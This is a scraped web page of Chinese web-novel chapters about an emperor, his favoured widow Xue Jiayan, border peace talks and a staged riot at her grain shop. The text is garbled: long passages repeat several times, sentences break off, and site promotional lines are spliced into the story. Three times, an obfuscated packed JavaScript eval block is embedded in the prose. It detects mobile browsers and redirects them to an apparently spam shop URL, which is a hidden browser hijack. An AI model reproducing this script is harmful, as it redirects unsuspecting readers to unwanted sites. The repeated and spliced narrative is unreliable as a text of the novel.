姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 第340章 乱象 夜风渐凉,吹得廊下的菊香愈发清冽,两人走了一会儿,便觉得有些冷,姜玄便牵着薛嘉言,转身回了殿内。 他走到书案前,重新铺开那幅舆图,指尖指点着舆图上一圈标注的边境势力,眸中闪烁着坚定的光彩,语气带着不容置疑的决心:“言言,你等着,待将来我大兖兵强马壮,粮草充足,我要让这些关外部落,全部俯首称臣,再也不敢来犯,护我大兖百姓周全。” 说着,他再次握住薛嘉言的手,眼底满是欣喜与期待,声音也轻快了许多:“对了,王清传来消息,先前你租下的那个山头,的确有铁矿,而且铁矿含量极高。有了大量的铁,我便可以打造更多的兵器、铠甲,扩充军队,再也不用受粮草军械短缺的掣肘了!” 他的眸中闪烁着光芒,薛嘉言也被他的话感染,她似乎可能到多年之后,成为天下霸主的姜玄。 冬日的京城,本就被边关战事的阴霾笼罩,连空气里都透着几分压抑。 不几日,一道加急军报从边关疾驰入京,驿卒一身尘土,面色仓皇进了城,口述了边关巨变。 负责与朵颜和谈的主使闻圣杰收受朵颜部贿赂,被卫所几名副将当场撞破,证据确凿。 将士们本就因战事吃紧、粮草短缺而心绪焦躁,得知主谈官闻圣杰竟私通敌国、收受贿赂,更是群情激愤,围在大帐之外,高声斥责闻圣杰不忠不义,甚至有人情绪激动,要冲进去将闻圣杰拿下,以正军法。 军营之内,人心浮动,乱象丛生,连值守的士兵都没了往日的纪律,局势一度陷入失控。 就在这千钧一发的紧张时刻,副使宋宜年挺身而出。 他身姿挺拔,抬手示意将士们安静,声音沉稳有力,穿透了众人的怒骂声,清晰地传到每个人耳中:“诸位将士,稍安勿躁!” 将士们渐渐停下了喧闹,目光纷纷落在宋宜年身上,眼底依旧满是怒火与不满。 宋宜年神色凝重,语气诚恳:“闻大人之事,日后自有朝廷处置。但眼下,和谈之事迫在眉睫,朵颜部虎视眈眈,若是我们自乱阵脚,只会让敌有机可乘,让边关将士的鲜血白流,让北地百姓再遭涂炭!” 他顿了顿,目光扫过在场的每一位将士,语气愈发坚定:“请诸位相信我,也相信朝廷,今日起,和谈之事由我主导,我宋宜年在此立誓,定当拼尽全力,在和谈中坚守原则,绝不私通敌国,绝不辜负陛下的嘱托,绝不辜负诸位将士的坚守与牺牲!” 宋宜年的话语掷地有声,神色坦荡,再加上他出身宋家, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 宋家在军中素有名望,将士们心中的怒火渐渐平息。 片刻后,有人高声喊道:“我们相信宋副使!请宋副使主导和谈,我们再也不相信闻圣杰那个奸贼!” 一声呼喊,引来满堂附和,“请宋副使主导和谈!”的声音响彻军营,将士们的情绪渐渐稳定下来,重新恢复了秩序,所有人的期盼都凝聚在宋宜年身上。 朝堂之上顿时炸开了锅。不少与闻圣杰交好的大臣,得知消息后痛心疾首,纷纷上奏,痛惜闻圣杰身为鸿胪寺卿,身受皇恩,竟会做出私通敌国、收受贿赂的丑事,有负朝廷重托;也有大臣直言,此事蹊跷,怕是有人构陷,闻大人不是这种人。 更多的大臣,则是夸赞宋宜年,言语间满是赞许:“宋副使临危不乱,挺身而出,稳住军心,实在难得!” “果然是宋家子弟,骨子里就有心系大兖、为国分忧的担当,不负宋家世代忠良的名声!” “有宋副使主导和谈,定能 稳住边关局势!” 一时间,朝堂之上,皆是对宋宜年的赞誉,宋家的声望,也在无形中更上一层楼。 龙椅之上的姜玄,自始至终沉默不语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337249|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他眼底深邃难测,看不出丝毫情绪——他并非不震惊或是愤怒,也并非没有起疑,只是边关战事吃紧,他深知,此时最要紧的,不是追究闻圣杰的罪责,而是尽快促成和谈,稳住边关局势,安抚民心,避免战火进一步蔓延。 沉默良久,姜玄才缓缓开口,声音低沉而平静:“传朕旨意,命宋宜年全权主导和谈,务必尽快敲定和谈条款,稳定边关局势。闻圣杰之事,暂押后处置,待和谈结束,再另行彻查。” 又过了几日,边关再次传来军报,是宋宜年派人送来的,信中称,和谈条款已大致商议妥当,只差最后敲定签署。 可就在此时,忽兰儿却突然提出了一个出人意料的要求——他要亲自来京城,面见大兖皇帝姜玄,亲自与姜玄签署和谈协议,否则,便拒绝签署。 姜玄看着军报上的内容,眉头紧紧蹙起,眼底闪过一丝疑惑与警惕。 他实在不知忽兰儿此举意欲何为——和谈条款已然谈妥,只需双方使者签署即可,忽兰儿身为朵颜部实际掌权者,为何要亲自冒险入京?难道是另有图谋? 他沉吟片刻,身为大兖一国之君,若是连忽兰儿的面都不敢见,未免显得太过懦弱,不仅会被朵颜部轻视,也会让朝中百官心寒,让百姓觉得他畏惧敌国。 更何况,眼下和谈在即,若是因拒绝忽兰儿的要求,导致和谈破裂,边关再次陷入战火,百姓流离失所,那后果,不堪设想。 姜玄毫不犹豫地答应了忽兰儿的要求,传旨下去,允许忽兰儿入京,命禁军做好防备,既要保证忽兰儿的安全,也要守住京城的防线,绝不能让朵颜部有可乘之机。 旨意快马传往边关,七八日后,忽兰儿便带着数百名精锐骑兵,浩浩荡荡地抵达了京城郊外。 按照要求,忽兰儿将大部分精兵留在城外,由禁军接管看管,只挑选了三五名身手矫健、忠心耿耿的侍卫,随他一同入城 第341章 忽兰儿 忽兰儿身着一身草原劲装,墨色衣料上绣着暗纹,腰间佩着弯刀,长发高束,身姿挺拔,眉眼间带着草原男儿的骁勇与桀骜。 他骑着一匹通体漆黑的骏马,缓缓踏入京城城门,幸而天色已暗,加之京城这边刻意淡化了忽兰儿入京的消息,并未引起百姓围观。 忽兰儿一行人被安置在四夷馆。 当晚,鸿胪寺少卿赵谦益便领着礼部一众官员前来接见,按朝廷规制设下接风宴席,酒醴佳肴依次呈上,丝竹之声不绝。 席间赵谦益几次旁敲侧击,试图探问边关闻圣杰受贿一事,可忽兰儿要么举杯轻笑,要么顾左右而言他,回答得模棱两可,半点把柄都不落下。 赵谦益心中早已积了一团火气,却碍于和谈大局,只能强压着不耐,虚与委蛇。 酒宴将散,忽兰儿已带了几分醉意,眉眼间 的桀骜与放肆再无遮掩。他抬眼看向赵谦益,语气轻佻,却带着不容拒绝的意味: “赵大人,我听闻大兖女子娇柔水嫩,肌肤胜雪。我既远道而来,便是客,赵大人这般待客,可不太周到。 赵谦益额角青筋几欲迸裂,心中厌憎至极,可一想到边关局势、想到闻圣杰身上那桩悬而未决的,终究不敢发作。 他垂在袖中的手紧紧攥起,再抬脸时已换上一副恭谨神色: “台吉所言极是,这是下官考虑不周。请台吉稍候,下官这就去安排。 忽兰儿面色稍霁,挑眉道:“记得找两人,一个我怕她应付不来。 出了四夷馆,赵谦益脸色瞬间沉下,招手唤来一名亲信侍从,压低声音冷声道: “去城南,寻两个烟花女子送来 侍从心领神会,匆匆而去。 这一夜,四夷馆内动静不小。伺候的宫人侍从只听得忽兰儿房内女子呻吟不断,一直闹到天色将亮才渐渐安静。 次日,忽兰儿直睡到日上三竿才起身,一身草原劲装松松垮垮穿在身上,眉宇间带着宿醉未醒的慵懒。 用过饭,他便懒洋洋地抬眼看向候在一旁的鸿胪寺丞吴舒,开门见山: “今日何时见皇帝? 吴舒心中一紧,连忙躬身拱手: “台吉见谅,今日早朝已过,陛下尚有政务处理。台吉一路舟车劳顿,不若再歇息一两日,养足精神再入殿见驾? 忽兰儿脸上立刻罩上一层寒霜,语气不善: “我不累。你去回禀皇帝,我明日便要见他。 “……是,下官这就入宫 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 通禀。 吴舒不敢违逆,只得躬身退下。 吴舒一走,跟着忽兰儿一同入京的两员部将阿勒坦与赤那便笑着走了进来,两人眼底都藏着对京城的好奇。 “台吉,京都是大兖最繁华的地方,难得来一趟,不出去转转? 忽兰儿挑眉。 反正要等到明日才能见皇帝,今日闲着也是闲着,倒要看看这座被他们兵锋逼得不得不低头的皇城,究竟是何模样。 “也好。你去让大兖的人安排,带咱们四处逛逛。 鸿胪寺主簿许晋不敢怠慢,很快带了人引路陪同。 一行人先去尝了京城特色小吃,又去小翠湖边看了冬日湖景,寒水枯树,景致虽清雅,却少了几分鲜活热闹。 忽兰儿看得兴致缺缺,脸上没什么笑意。 赤那见状,想起昨夜在四夷馆听人闲聊,说京城真正的热闹不在园林湖景,而在市井街巷,当即对引路官员笑道: “听说你们京城最热闹的地方在棋盘街,不如带我们去那里瞧瞧? 官员不敢推辞,当即引着一行人转往棋盘街。 一踏入街口,气氛顿时截然不同。 车马行人熙熙攘攘,摩肩接踵,茶楼酒肆一家挨着一家,商铺摊点鳞次栉比,叫卖声、谈笑声、车马声交织在一起,烟火气扑面而来,一派繁华喧嚣。 忽兰儿驻足片刻,嘴角勾起一抹意味不明的笑,转头对阿勒坦与赤那道: “看来,我朵颜陈兵边关,倒是一点也没影响到大兖京城的百姓。 阿勒坦与赤那环顾四周,眼中除了新鲜感,更藏着一丝难以掩饰的嫉妒与不甘。 这般市井富庶、人流如织的景象,在天寒风烈、物资匮乏的朵颜草原,是做梦也难以见到的。 三人正低声交谈,忽听得身后传来一阵清脆马蹄声,由远及近,利落干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽兰儿闻言,当即哈哈大笑起来,引得周围路人纷纷侧目:“原来如此!我当你们大兖的女子都这般娇贵,原来只有那些吃饱了没事干、养尊处优的人家,才讲究什么二门不出、三从四德。” 第342章 故意闹事 赤那和阿勒坦也跟着哈哈大笑,一边笑,一边点头附和:“台吉说的是!家里都没有二门,谈什么二门不迈呢。女子就该像咱们草原的女人们,能骑马射箭、放牧持家才是。” 笑声刚落,忽兰儿的目光又落回薛嘉言消失的方向,眼底的好奇更甚,“可我瞧着刚才那女子,倒不像是普通百姓家的。她衣着虽利落,却料子上乘,气度不凡,不似为了生计奔波的模样,她怎么也敢这般当街骑马,不顾规矩?” 鸿胪寺官员闻言,脸上露出几分犹豫。他心中清楚,薛嘉言的身份特殊,此事在京城不算秘密,就算他今日不说,以忽兰儿的性子,迟早也会打听出来。 沉吟片刻,许晋才躬身低声道:“回台吉,那位夫人的确不同寻常。她是……是陛下心尖上的人,深得陛下宠爱,在京城里,也算是个特例。” 阿勒坦闻言,眼睛瞬间亮了起来,笑着道:“哦?莫非就是你们陛下宠幸的那个寡妇薛氏?原来是她!我就说这般与众不同,气度不凡,难怪能让你们陛下倾心,不惜得罪士子,也要护着她!” 忽兰儿脸上露出诧异之色,转头看向阿勒坦,挑眉问道:“你怎么知道这些?” 阿勒坦笑着回话,语气里带着几分得意:“我实在好奇京城的新鲜事,昨夜跟四夷馆几个侍从聊了许久。他们跟我说,前阵子京城最热闹的,就是这位薛氏的事,闹到士子们联名在午门跪立,要求陛下杀了她,以正风气,可陛下始终不肯,将她护得她严严实实。” “哦?竟有这般事?”忽兰儿的兴致彻底被勾了起来,眼底闪过一丝玩味与探究,他抬手,指了指薛嘉言消失的前方,“前面人多嘈杂,她应该没走远。走,咱们去瞧瞧,这能让大兖皇帝不顾一切护着的女人,到底有什么不同寻常之处!” 赤那和阿勒坦连忙应声,脸上也满是好奇,想亲眼见见这位传闻中的薛夫人。 许晋等人见状,心中虽有顾虑,却也不敢违逆忽兰儿的意思,只能连忙跟上,心中暗暗祈祷,莫要出什么乱子,影响了和谈大局。 福运粮行门口,围了里三层外三层的人,寒风刮在脸上生疼,却压不住人群里的焦躁与火气。 “别以为咱们不知道,你们前儿到的新粮,当夜便卖了几十车,我可是亲眼看到有车来拖走的!” “和着就咱们小老百姓得在这里挨冻排队,一次只能买一小袋米,人家有钱人一车一车地拉,这是不把咱们当人看啊!” 人群中有几个人说话声音很大,又满含激愤,瞬间挑起被冷风吹 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 